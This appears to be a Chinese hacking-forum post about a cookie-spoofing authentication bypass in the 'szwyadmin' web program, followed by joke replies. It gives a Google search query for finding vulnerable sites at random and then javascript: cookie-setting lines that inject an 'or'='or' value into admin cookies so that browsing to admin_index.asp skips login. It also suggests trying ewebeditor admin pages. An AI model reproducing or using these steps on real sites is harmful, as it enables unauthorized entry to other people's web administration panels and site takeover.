szwyadmin程序cookies欺骗漏洞拿shell

admin

首先我们在Google中搜索关键词关键字:inurl:szwyadmin/login.asp

任意打开一个搜索结果，打开登录界面后在地址栏中输入下面的代码：
代码：

javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));
javascript:alert(document.cookie="admindj="+escape("1"));
关闭此页面

在次打开登录界面，在地址栏中将login.asp改为admin_index.asp，就直接进入后台了

另外还可以试试，ewebeditor/admin_login.asp
[/td][/tr]
[/table]

神翼虎

床前明月光，低头吃便当！  

论坛大神

看贴回复是好习惯  

萨斐罗斯

这样的贴子，不顶说不过去啊  

柱哥仔

(*^__^*) 嘻嘻……  

厉少云

挤在北京，给首都添麻烦了……  

叫哥哥

(*^__^*) 嘻嘻……   

麒麟兽

我假装认真地工作，老板假装认真地付薪水